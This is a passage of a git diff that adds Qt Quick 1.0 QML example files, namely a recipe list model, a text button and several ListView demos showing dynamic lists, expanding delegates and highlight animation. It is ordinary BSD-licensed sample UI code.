+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ title: "Pancakes"
+ picture: "content/pics/pancakes.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 cup (150g) self-raising flour
+ <li> 1 tbs caster sugar
+ <li> 3/4 cup (185ml) milk
+ <li> 1 egg
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Sift flour and sugar together into a bowl. Add a pinch of salt.
+ <li> Beat milk and egg together, then add to dry ingredients. Beat until smooth.
+ <li> Pour mixture into a pan on medium heat and cook until bubbles appear on the surface.
+ <li> Turn over and cook other side until golden.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Fruit Salad"
+ picture: "content/pics/fruit-salad.jpg"
+ ingredients: "* Seasonal Fruit"
+ method: "* Chop fruit and place in a bowl."
+ }
+ ListElement {
+ title: "Vegetable Soup"
+ picture: "content/pics/vegetable-soup.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 onion
+ <li> 1 turnip
+ <li> 1 potato
+ <li> 1 carrot
+ <li> 1 head of celery
+ <li> 1 1/2 litres of water
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Chop vegetables.
+ <li> Boil in water until vegetables soften.
+ <li> Season with salt and pepper to taste.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Hamburger"
+ picture: "content/pics/hamburger.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 500g minced beef
+ <li> Seasoning
+ <li> lettuce, tomato, onion, cheese
+ <li> 1 hamburger bun for each burger
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Mix the beef, together with seasoning, in a food processor.
+ <li> Shape the beef into burgers.
+ <li> Grill the burgers for about 5 mins on each side (until cooked through)
+ <li> Serve each burger on a bun with ketchup, cheese, lettuce, tomato and onion.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Lemonade"
+ picture: "content/pics/lemonade.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 cup Lemon Juice
+ <li> 1 cup Sugar
+ <li> 6 Cups of Water (2 cups warm water, 4 cups cold water)
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Pour 2 cups of warm water into a pitcher and stir in sugar until it dissolves.
+ <li> Pour in lemon juice, stir again, and add 4 cups of cold water.
+ <li> Chill or serve over ice cubes.
+ </ol>
+ </html>"
+ }
+}
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/TextButton.qml b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/TextButton.qml
new file mode 100644
index 00000000..bc684dc1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/TextButton.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property alias text: label.text
+
+ signal clicked
+
+ width: label.width + 20; height: label.height + 6
+ smooth: true
+ radius: 10
+
+ gradient: Gradient {
+ GradientStop { id: gradientStop; position: 0.0; color: palette.light }
+ GradientStop { position: 1.0; color: palette.button }
+ }
+
+ SystemPalette { id: palette }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: { container.clicked() }
+ }
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ }
+
+ states: State {
+ name: "pressed"
+ when: mouseArea.pressed
+ PropertyChanges { target: gradientStop; color: palette.dark }
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/arrow-down.png b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/arrow-down.png
new file mode 100644
index 00000000..29d1d443
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/arrow-down.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/arrow-up.png b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/arrow-up.png
new file mode 100644
index 00000000..e4373122
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/arrow-up.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/fruit-salad.jpg b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/fruit-salad.jpg
new file mode 100644
index 00000000..da5a6b10
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/fruit-salad.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/hamburger.jpg b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/hamburger.jpg
new file mode 100644
index 00000000..d0a15be1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/hamburger.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/lemonade.jpg b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/lemonade.jpg
new file mode 100644
index 00000000..db445c9a
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/lemonade.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/list-delete.png b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/list-delete.png
new file mode 100644
index 00000000..df2a147d
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/list-delete.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/minus-sign.png b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/minus-sign.png
new file mode 100644
index 00000000..d6f233d7
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/minus-sign.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/moreDown.png b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/moreDown.png
new file mode 100644
index 00000000..31a35d5c
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/moreDown.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/moreUp.png b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/moreUp.png
new file mode 100644
index 00000000..fefb9c90
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/moreUp.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/pancakes.jpg b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/pancakes.jpg
new file mode 100644
index 00000000..60c43963
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/pancakes.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/plus-sign.png b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/plus-sign.png
new file mode 100644
index 00000000..40df1134
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/plus-sign.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/vegetable-soup.jpg b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/vegetable-soup.jpg
new file mode 100644
index 00000000..9dce3320
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/content/pics/vegetable-soup.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/dynamiclist.qml b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/dynamiclist.qml
new file mode 100644
index 00000000..0144b0d6
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/dynamiclist.qml
@@ -0,0 +1,203 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import "content"
+
+// This example shows how items can be dynamically added to and removed from
+// a ListModel, and how these list modifications can be animated.
+
+Rectangle {
+ id: container
+ width: 500; height: 400
+ color: "#343434"
+
+ // The model:
+ ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"; cost: 2.45
+ attributes: [
+ ListElement { description: "Core" },
+ ListElement { description: "Deciduous" }
+ ]
+ }
+ ListElement {
+ name: "Banana"; cost: 1.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Seedless" }
+ ]
+ }
+ ListElement {
+ name: "Cumquat"; cost: 3.25
+ attributes: [
+ ListElement { description: "Citrus" }
+ ]
+ }
+ ListElement {
+ name: "Durian"; cost: 9.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Smelly" }
+ ]
+ }
+ }
+
+ // The delegate for each fruit in the model:
+ Component {
+ id: listDelegate
+
+ Item {
+ id: delegateItem
+ width: listView.width; height: 55
+ clip: true
+
+ Row {
+ anchors.verticalCenter: parent.verticalCenter
+ spacing: 10
+
+ Column {
+ Image {
+ source: "content/pics/arrow-up.png"
+ MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index-1, 1) }
+ }
+ Image { source: "content/pics/arrow-down.png"
+ MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index+1, 1) }
+ }
+ }
+
+ Column {
+ anchors.verticalCenter: parent.verticalCenter
+
+ Text {
+ text: name
+ font.pixelSize: 15
+ color: "white"
+ }
+ Row {
+ spacing: 5
+ Repeater {
+ model: attributes
+ Text { text: description; color: "White" }
+ }
+ }
+ }
+ }
+
+ Row {
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.right: parent.right
+ spacing: 10
+
+ PressAndHoldButton {
+ anchors.verticalCenter: parent.verticalCenter
+ source: "content/pics/plus-sign.png"
+ onClicked: fruitModel.setProperty(index, "cost", cost + 0.25)
+ }
+
+ Text {
+ id: costText
+ anchors.verticalCenter: parent.verticalCenter
+ text: '$' + Number(cost).toFixed(2)
+ font.pixelSize: 15
+ color: "white"
+ font.bold: true
+ }
+
+ PressAndHoldButton {
+ anchors.verticalCenter: parent.verticalCenter
+ source: "content/pics/minus-sign.png"
+ onClicked: fruitModel.setProperty(index, "cost", Math.max(0,cost-0.25))
+ }
+
+ Image {
+ source: "content/pics/list-delete.png"
+ MouseArea { anchors.fill:parent; onClicked: fruitModel.remove(index) }
+ }
+ }
+
+ // Animate adding and removing of items:
+
+ ListView.onAdd: SequentialAnimation {
+ PropertyAction { target: delegateItem; property: "height"; value: 0 }
+ NumberAnimation { target: delegateItem; property: "height"; to: 55; duration: 250; easing.type: Easing.InOutQuad }
+ }
+
+ ListView.onRemove: SequentialAnimation {
+ PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: true }
+ NumberAnimation { target: delegateItem; property: "height"; to: 0; duration: 250; easing.type: Easing.InOutQuad }
+
+ // Make sure delayRemove is set back to false so that the item can be destroyed
+ PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: false }
+ }
+ }
+ }
+
+ // The view:
+ ListView {
+ id: listView
+ anchors.fill: parent; anchors.margins: 20
+ model: fruitModel
+ delegate: listDelegate
+ }
+
+ Row {
+ anchors { left: parent.left; bottom: parent.bottom; margins: 20 }
+ spacing: 10
+
+ TextButton {
+ text: "Add an item"
+ onClicked: {
+ fruitModel.append({
+ "name": "Pizza Margarita",
+ "cost": 5.95,
+ "attributes": [{"description": "Cheese"}, {"description": "Tomato"}]
+ })
+ }
+ }
+
+ TextButton {
+ text: "Remove all items"
+ onClicked: fruitModel.clear()
+ }
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/expandingdelegates.qml b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/expandingdelegates.qml
new file mode 100644
index 00000000..152086cb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/expandingdelegates.qml
@@ -0,0 +1,202 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+// This example illustrates expanding a list item to show a more detailed view.
+
+Rectangle {
+ id: page
+ width: 400; height: 240
+ color: "black"
+
+ // Delegate for the recipes. This delegate has two modes:
+ // 1. List mode (default), which just shows the picture and title of the recipe.
+ // 2. Details mode, which also shows the ingredients and method.
+ Component {
+ id: recipeDelegate
+
+ Item {
+ id: recipe
+
+ // Create a property to contain the visibility of the details.
+ // We can bind multiple element's opacity to this one property,
+ // rather than having a "PropertyChanges" line for each element we
+ // want to fade.
+ property real detailsOpacity : 0
+
+ width: listView.width
+ height: 70
+
+ // A simple rounded rectangle for the background
+ Rectangle {
+ id: background
+ x: 2; y: 2; width: parent.width - x*2; height: parent.height - y*2
+ color: "ivory"
+ border.color: "orange"
+ radius: 5
+ }
+
+ // This mouse region covers the entire delegate.
+ // When clicked it changes mode to 'Details'. If we are already
+ // in Details mode, then no change will happen.
+ MouseArea {
+ anchors.fill: parent
+ onClicked: recipe.state = 'Details';
+ }
+
+ // Lay out the page: picture, title and ingredients at the top, and method at the
+ // bottom. Note that elements that should not be visible in the list
+ // mode have their opacity set to recipe.detailsOpacity.
+ Row {
+ id: topLayout
+ x: 10; y: 10; height: recipeImage.height; width: parent.width
+ spacing: 10
+
+ Image {
+ id: recipeImage
+ width: 50; height: 50
+ source: picture
+ }
+
+ Column {
+ width: background.width - recipeImage.width - 20; height: recipeImage.height
+ spacing: 5
+
+ Text {
+ text: title
+ font.bold: true; font.pointSize: 16
+ }
+
+ Text {
+ text: "Ingredients"
+ font.pointSize: 12; font.bold: true
+ opacity: recipe.detailsOpacity
+ }
+
+ Text {
+ text: ingredients
+ wrapMode: Text.WordWrap
+ width: parent.width
+ opacity: recipe.detailsOpacity
+ }
+ }
+ }
+
+ Item {
+ id: details
+ x: 10; width: parent.width - 20
+ anchors { top: topLayout.bottom; topMargin: 10; bottom: parent.bottom; bottomMargin: 10 }
+ opacity: recipe.detailsOpacity
+
+ Text {
+ id: methodTitle
+ anchors.top: parent.top
+ text: "Method"
+ font.pointSize: 12; font.bold: true
+ }
+
+ Flickable {
+ id: flick
+ width: parent.width
+ anchors { top: methodTitle.bottom; bottom: parent.bottom }
+ contentHeight: methodText.height
+ clip: true
+
+ Text { id: methodText; text: method; wrapMode: Text.WordWrap; width: details.width }
+ }
+
+ Image {
+ anchors { right: flick.right; top: flick.top }
+ source: "content/pics/moreUp.png"
+ opacity: flick.atYBeginning ? 0 : 1
+ }
+
+ Image {
+ anchors { right: flick.right; bottom: flick.bottom }
+ source: "content/pics/moreDown.png"
+ opacity: flick.atYEnd ? 0 : 1
+ }
+ }
+
+ // A button to close the detailed view, i.e. set the state back to default ('').
+ TextButton {
+ y: 10
+ anchors { right: background.right; rightMargin: 10 }
+ opacity: recipe.detailsOpacity
+ text: "Close"
+
+ onClicked: recipe.state = '';
+ }
+
+ states: State {
+ name: "Details"
+
+ PropertyChanges { target: background; color: "white" }
+ PropertyChanges { target: recipeImage; width: 130; height: 130 } // Make picture bigger
+ PropertyChanges { target: recipe; detailsOpacity: 1; x: 0 } // Make details visible
+ PropertyChanges { target: recipe; height: listView.height } // Fill the entire list area with the detailed view
+
+ // Move the list so that this item is at the top.
+ PropertyChanges { target: recipe.ListView.view; explicit: true; contentY: recipe.y }
+
+ // Disallow flicking while we're in detailed view
+ PropertyChanges { target: recipe.ListView.view; interactive: false }
+ }
+
+ transitions: Transition {
+ // Make the state changes smooth
+ ParallelAnimation {
+ ColorAnimation { property: "color"; duration: 500 }
+ NumberAnimation { duration: 300; properties: "detailsOpacity,x,contentY,height,width" }
+ }
+ }
+ }
+ }
+
+ // The actual list
+ ListView {
+ id: listView
+ anchors.fill: parent
+ model: RecipesModel {}
+ delegate: recipeDelegate
+ }
+}
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/highlight.qml b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/highlight.qml
new file mode 100644
index 00000000..ebce5e34
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/highlight.qml
@@ -0,0 +1,99 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example shows how to create your own highlight delegate for a ListView
+// that uses a SpringAnimation to provide custom movement when the
+// highlight bar is moved between items.
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ width: 200; height: 300
+
+ // Define a delegate component. A component will be
+ // instantiated for each visible item in the list.
+ Component {
+ id: petDelegate
+ Item {
+ id: wrapper
+ width: 200; height: 55
+ Column {
+ Text { text: 'Name: ' + name }
+ Text { text: 'Type: ' + type }
+ Text { text: 'Age: ' + age }
+ }
+ // indent the item if it is the current item
+ states: State {
+ name: "Current"
+ when: wrapper.ListView.isCurrentItem
+ PropertyChanges { target: wrapper; x: 20 }
+ }
+ transitions: Transition {
+ NumberAnimation { properties: "x"; duration: 200 }
+ }
+ }
+ }
+
+ // Define a highlight with customised movement between items.
+ Component {
+ id: highlightBar
+ Rectangle {
+ width: 200; height: 50
+ color: "#FFFF88"
+ y: listView.currentItem.y;
+ Behavior on y { SpringAnimation { spring: 2; damping: 0.1 } }
+ }
+ }
+
+ ListView {
+ id: listView
+ width: 200; height: parent.height
+
+ model: PetsModel {}
+ delegate: petDelegate
+ focus: true
+
+ // Set the highlight delegate. Note we must also set highlightFollowsCurrentItem
+ // to false so the highlight delegate can control how the highlight is moved.
+ highlight: highlightBar
+ highlightFollowsCurrentItem: false
+ }
+}
diff --git a/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/highlightranges.qml b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/highlightranges.qml
new file mode 100644
index 00000000..eda6056b
--- /dev/null
+++ b/examples/declarative/modelviews/listview/dynamiclist/qml/dynamic/highlightranges.qml
@@ -0,0 +1,122 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: root
+ property int current: 0
+ width: 600; height: 300
+
+ // This example shows the same model in three different ListView items,
+ // with different highlight ranges. The highlight ranges are set by the
+ // preferredHighlightBegin and preferredHighlightEnd properties in ListView.
+ //
+ // The first ListView does not set a highlight range, so its currentItem
+ // can move freely within the visible area. If it moves outside the
+ // visible area, the view is automatically scrolled to keep the current
+ // item visible.
+ //
+ // The second ListView sets a highlight range which attempts to keep the
+ // current item within the the bounds of the range. However,
+ // items will not scroll beyond the beginning or end of the view,
+ // forcing the highlight to move outside the range at the ends.
+ //
+ // The third ListView sets the highlightRangeMode to StrictlyEnforceRange
+ // and sets a range smaller than the height of an item. This
+ // forces the current item to change when the view is flicked,
+ // since the highlight is unable to move.
+ //
+ // All ListViews bind their currentIndex to the root.current property.
+ // The first ListView sets root.current whenever its currentIndex changes
+ // due to keyboard interaction.
+ // Flicking the third ListView with the mouse also changes root.current.
+
+ ListView {
+ id: list1
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "lightsteelblue" }
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ focus: true
+ }
+
+ ListView {
+ id: list2
+ x: list1.width
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
